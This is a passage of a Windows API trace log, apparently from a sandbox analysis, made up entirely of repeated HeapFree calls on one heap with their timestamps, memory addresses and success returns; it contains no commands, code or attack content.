	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.012] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.014] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.014] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.014] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.014] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.015] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.018] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.021] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.022] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.023] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.024] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0083.026] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0083.038] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.450] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0083.451] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0083.452] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0083.453] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.460] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0083.485] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.485] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.488] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0083.493] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0084.422] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0084.426] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0084.429] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0084.429] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb9d8 | out: hHeap=0x500000) returned 1
	[0084.439] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0084.442] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0084.442] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0084.449] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.458] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.458] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0084.461] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0084.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0084.469] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0084.470] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0084.471] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0085.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0085.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0085.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0085.091] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0085.092] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0085.098] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0085.099] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0085.112] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0085.112] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0085.115] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0085.117] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0085.117] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.120] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0085.121] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0085.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.013] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.027] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.037] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.042] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0086.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0086.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.052] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.056] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.058] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.060] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0086.060] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0086.061] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.061] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.062] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0086.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.065] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.066] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.067] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.068] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.068] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.361] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.365] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.366] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.367] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.369] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.370] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.371] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.372] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.373] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.373] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.375] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.376] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.377] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.378] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.379] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.380] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.380] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.382] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.384] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.384] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.386] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.387] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.389] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.391] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.392] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.394] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.395] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.396] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.397] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.398] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.400] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.401] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.403] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.404] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.405] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0086.405] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0087.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.945] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.952] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.954] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0087.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0087.969] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.970] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.973] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.973] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.974] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0087.974] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0087.974] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.974] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.980] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0087.980] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0087.980] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.981] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0087.981] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0087.981] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0087.981] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0087.982] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0087.985] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.318] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.318] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.318] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.318] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.322] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.322] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.323] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.323] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.323] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.324] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.324] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.324] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.396] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.396] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.431] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.433] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.434] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.435] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.438] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0088.438] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.438] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.448] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.452] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.453] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.453] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.457] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.464] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.465] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0088.471] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0088.472] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0088.472] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0088.472] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.472] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.473] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.480] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.481] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.484] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.484] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.486] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.486] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.486] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.488] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0088.657] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.662] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.662] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.663] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.663] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0088.664] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0088.738] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.250] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0089.307] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0089.320] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.321] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0089.324] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0089.331] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.331] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
	[0089.331] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0089.336] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.336] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dd3980 | out: hHeap=0x500000) returned 1
